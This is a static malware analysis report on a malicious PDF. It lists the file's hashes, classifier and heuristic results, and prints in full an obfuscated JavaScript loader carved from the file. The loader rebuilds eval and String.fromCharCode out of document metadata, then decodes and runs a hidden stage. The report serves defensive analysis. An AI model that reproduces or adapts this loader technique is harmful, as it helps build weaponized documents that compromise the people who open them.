Malicious PDF — malware analysis report

Static analysis result for SHA-256 93e255cb9685a5ac…

MALICIOUS

PDF

44.6 KB Authoring application: substr First seen: 2026-05-08
MD5: 3016fea7158392148ecaed97ef2649b6 SHA-1: 9ab945b1bdd958dd26c88e8ecbfc7c7fd39eb3c2 SHA-256: 93e255cb9685a5ac06e5aca0c5c0cc6bbc32f9cc1fd4792d4973fc16dd23fc03
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a javascript_obj0001_000.js artifact. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely designed to execute malicious code, potentially downloading further payloads or exploiting vulnerabilities. The document body text is minimal and does not provide further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF8F 477 bytes
SHA-256: 3c948c0490afb2ace1f1acc513ccff1a1ca9f287d2a8da64e9b7cf1ffb9a7cf5
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
mek=e(v[4]+'i'.concat(v[4],t));
q=mek[v](a.length-7,a.length+1);
d='String';
d+='.fr';
d+='o'+q;
tolmk=e(e('d'));
sub=v[0];
sub+='ubject';
q=mek[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	kpb = 1*(q[i]);
	i++;
	kpb -= (-1)*(q[i]);
	s2 += tolmk(kpb);
	i++;
}
e(s2);

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